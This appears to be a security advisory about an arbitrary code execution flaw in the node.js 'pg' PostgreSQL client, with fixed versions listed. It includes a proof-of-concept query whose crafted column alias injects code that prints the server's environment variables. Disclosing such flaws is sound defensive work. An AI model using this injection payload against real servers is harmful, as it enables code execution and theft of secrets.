Arbitrary Code Execution

pg is a non-blocking PostgreSQL client for node.js.

Affected versions of this package are vulnerable to Arbitrary Code Execution. When parsing results of a query, it goes through a form of eval, and with a specially crafted column name, an attacker can cause code to run remotely on the server.

PoC:

const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
});

How to fix Arbitrary Code Execution?

Upgrade pg to version 2.11.2, 3.6.4, 4.5.7, 5.2.1, 6.0.5, 6.1.6, 6.2.5, 6.3.3, 6.4.2, 7.0.2, 7.1.2 or higher.

<2.11.2 >=3.0.0 <3.6.4 >=4.0.0 <4.5.7 >=5.0.0 <5.2.1 >=6.0.0 <6.0.5 >=6.1.0 <6.1.6 >=6.2.0 <6.2.5 >=6.3.0 <6.3.3 >=6.4.0 <6.4.2 >=7.0.0 <7.0.2 >=7.1.0 <7.1.2
